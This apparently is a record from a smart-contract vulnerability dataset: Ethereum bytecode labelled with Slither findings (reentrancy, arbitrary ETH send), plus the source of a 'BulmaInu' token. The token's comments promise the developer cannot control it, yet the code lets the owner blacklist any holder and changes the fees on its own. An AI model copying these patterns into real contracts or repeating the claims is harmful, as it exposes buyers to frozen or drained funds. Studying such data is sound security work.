fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a8e57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b395750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b8f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ba75750601060179054906101000a900460ff165b15611c485742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bf757600080fd5b600f42611c0491906133fc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611c5330610813565b9050601060159054906101000a900460ff16158015611cc05750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd85750601060169054906101000a900460ff165b15611d0057611ce681612047565b60004790506000811115611cfe57611cfd47611e29565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611da95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611db357600090505b611dbf84848484612406565b50505050565b6000838311158290611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e049190613124565b60405180910390fd5b5060008385611e1c91906134dd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8c600a611e7e60048661234190919063ffffffff16565b6123bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f1b600a611f0d60048661234190919063ffffffff16565b6123bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f46573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611faa600a611f9c60028661234190919063ffffffff16565b6123bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fd5573d6000803e3d6000fd5b5050565b6000600654821115612020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201790613166565b60405180910390fd5b600061202a612433565b905061203f81846123bc90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120d35781602001602082028036833780820191505090505b5090503081600081518110612111577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121b357600080fd5b505afa1580156121c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121eb9190612b93565b81600181518110612225577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061228c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e5565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122f09594939291906132e1565b600060405180830381600087803b15801561230a57600080fd5b505af115801561231e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561235457600090506123b6565b600082846123629190613483565b90508284826123719190613452565b146123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a8906131e6565b60405180910390fd5b809150505b92915050565b60006123fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061245e565b905092915050565b80612414576124136124c1565b5b61241f8484846124f2565b8061242d5761242c6126bd565b5b50505050565b60008060006124406126cf565b9150915061245781836123bc90919063ffffffff16565b9250505090565b600080831182906124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c9190613124565b60405180910390fd5b50600083856124b49190613452565b9050809150509392505050565b60006008541480156124d557506000600954145b156124df576124f0565b600060088190555060006009819055505b565b60008060008060008061250487612731565b95509550955095509550955061256286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264381612840565b61264d84836128fd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126aa91906132c6565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612705683635c9adc5dea000006006546123bc90919063ffffffff16565b82101561272457600654683635c9adc5dea0000093509350505061272d565b81819350935050505b9091565b600080600080600080600080600061274d8a600854600a612937565b925092509250600061275d612433565b905060008060006127708e8787876129cd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dc5565b905092915050565b60008082846127f191906133fc565b905083811015612836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282d906131a6565b60405180910390fd5b8091505092915050565b600061284a612433565b90506000612861828461234190919063ffffffff16565b90506128b581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129128260065461279890919063ffffffff16565b60068190555061292d816007546127e290919063ffffffff16565b6007819055505050565b6000806000806129636064612955888a61234190919063ffffffff16565b6123bc90919063ffffffff16565b9050600061298d606461297f888b61234190919063ffffffff16565b6123bc90919063ffffffff16565b905060006129b6826129a8858c61279890919063ffffffff16565b61279890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129e6858961234190919063ffffffff16565b905060006129fd868961234190919063ffffffff16565b90506000612a14878961234190919063ffffffff16565b90506000612a3d82612a2f858761279890919063ffffffff16565b61279890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612a69612a648461337b565b613356565b90508083825260208201905082856020860282011115612a8857600080fd5b60005b85811015612ab85781612a9e8882612ac2565b845260208401935060208301925050600181019050612a8b565b5050509392505050565b600081359050612ad1816139b9565b92915050565b600081519050612ae6816139b9565b92915050565b600082601f830112612afd57600080fd5b8135612b0d848260208601612a56565b91505092915050565b600081359050612b25816139d0565b92915050565b600081519050612b3a816139d0565b92915050565b600081359050612b4f816139e7565b92915050565b600081519050612b64816139e7565b92915050565b600060208284031215612b7c57600080fd5b6000612b8a84828501612ac2565b91505092915050565b600060208284031215612ba557600080fd5b6000612bb384828501612ad7565b91505092915050565b60008060408385031215612bcf57600080fd5b6000612bdd85828601612ac2565b9250506020612bee85828601612ac2565b9150509250929050565b600080600060608486031215612c0d57600080fd5b6000612c1b86828701612ac2565b9350506020612c2c86828701612ac2565b9250506040612c3d86828701612b40565b9150509250925092565b60008060408385031215612c5a57600080fd5b6000612c6885828601612ac2565b9250506020612c7985828601612b40565b9150509250929050565b600060208284031215612c9557600080fd5b600082013567ffffffffffffffff811115612caf57600080fd5b612cbb84828501612aec565b91505092915050565b600060208284031215612cd657600080fd5b6000612ce484828501612b16565b91505092915050565b600060208284031215612cff57600080fd5b6000612d0d84828501612b2b565b91505092915050565b600060208284031215612d2857600080fd5b6000612d3684828501612b40565b91505092915050565b600080600060608486031215612d5457600080fd5b6000612d6286828701612b55565b9350506020612d7386828701612b55565b9250506040612d8486828701612b55565b9150509250925092565b6000612d9a8383612da6565b60208301905092915050565b612daf81613511565b82525050565b612dbe81613511565b82525050565b6000612dcf826133b7565b612dd981856133da565b9350612de4836133a7565b8060005b83811015612e15578151612dfc8882612d8e565b9750612e07836133cd565b925050600181019050612de8565b5085935050505092915050565b612e2b81613523565b82525050565b612e3a81613566565b82525050565b6000612e4b826133c2565b612e5581856133eb565b9350612e65818560208601613578565b612e6e816136b2565b840191505092915050565b6000612e866023836133eb565b9150612e91826136c3565b604082019050919050565b6000612ea9602a836133eb565b9150612eb482613712565b604082019050919050565b6000612ecc6022836133eb565b9150612ed782613761565b604082019050919050565b6000612eef601b836133eb565b9150612efa826137b0565b602082019050919050565b6000612f12601d836133eb565b9150612f1d826137d9565b602082019050919050565b6000612f356021836133eb565b9150612f4082613802565b604082019050919050565b6000612f586020836133eb565b9150612f6382613851565b602082019050919050565b6000612f7b6029836133eb565b9150612f868261387a565b604082019050919050565b6000612f9e6025836133eb565b9150612fa9826138c9565b604082019050919050565b6000612fc16024836133eb565b9150612fcc82613918565b604082019050919050565b6000612fe46017836133eb565b9150612fef82613967565b602082019050919050565b60006130076011836133eb565b915061301282613990565b602082019050919050565b6130268161354f565b82525050565b61303581613559565b82525050565b60006020820190506130506000830184612db5565b92915050565b600060408201905061306b6000830185612db5565b6130786020830184612db5565b9392505050565b60006040820190506130946000830185612db5565b6130a1602083018461301d565b9392505050565b600060c0820190506130bd6000830189612db5565b6130ca602083018861301d565b6130d76040830187612e31565b6130e46060830186612e31565b6130f16080830185612db5565b6130fe60a083018461301d565b979650505050505050565b600060208201905061311e6000830184612e22565b92915050565b6000602082019050818103600083015261313e8184612e40565b905092915050565b6000602082019050818103600083015261315f81612e79565b9050919050565b6000602082019050818103600083015261317f81612e9c565b9050919050565b6000602082019050818103600083015261319f81612ebf565b9050919050565b600060208201905081810360008301526131bf81612ee2565b9050919050565b600060208201905081810360008301526131df81612f05565b9050919050565b600060208201905081810360008301526131ff81612f28565b9050919050565b6000602082019050818103600083015261321f81612f4b565b9050919050565b6000602082019050818103600083015261323f81612f6e565b9050919050565b6000602082019050818103600083015261325f81612f91565b9050919050565b6000602082019050818103600083015261327f81612fb4565b9050919050565b6000602082019050818103600083015261329f81612fd7565b9050919050565b600060208201905081810360008301526132bf81612ffa565b9050919050565b60006020820190506132db600083018461301d565b92915050565b600060a0820190506132f6600083018861301d565b6133036020830187612e31565b81810360408301526133158186612dc4565b90506133246060830185612db5565b613331608083018461301d565b9695505050505050565b6000602082019050613350600083018461302c565b92915050565b6000613360613371565b905061336c82826135ab565b919050565b6000604051905090565b600067ffffffffffffffff82111561339657613395613683565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134078261354f565b91506134128361354f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561344757613446613625565b5b828201905092915050565b600061345d8261354f565b91506134688361354f565b92508261347857613477613654565b5b828204905092915050565b600061348e8261354f565b91506134998361354f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134d2576134d1613625565b5b828202905092915050565b60006134e88261354f565b91506134f38361354f565b92508282101561350657613505613625565b5b828203905092915050565b600061351c8261352f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135718261354f565b9050919050565b60005b8381101561359657808201518184015260208101905061357b565b838111156135a5576000848401525b50505050565b6135b4826136b2565b810181811067ffffffffffffffff821117156135d3576135d2613683565b5b80604052505050565b60006135e78261354f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561361a57613619613625565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139c281613511565b81146139cd57600080fd5b50565b6139d981613523565b81146139e457600080fd5b50565b6139f08161354f565b81146139fb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208aa2162cdcd2a9007f7fd4473c318f6655362d1bede7f90eaa4aaa93f6b0514d64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,479 |
0x861c8a34cc168e96398e1f4fbfb13783335c7494 | // TELEGRAM: https://t.me/bulmainuofficial
// NO DEV/TEAM tokens
// Contract will be renounced and dev will be unable to control it
// Liquidity will be locked
// 100% community owned and driven
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BulmaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BulmaInu | t.me/bulmainuofficial";
string private constant _symbol = "BULMA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280602081526020017f42756c6d61496e75207c20742e6d652f62756c6d61696e756f6666696369616c815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a891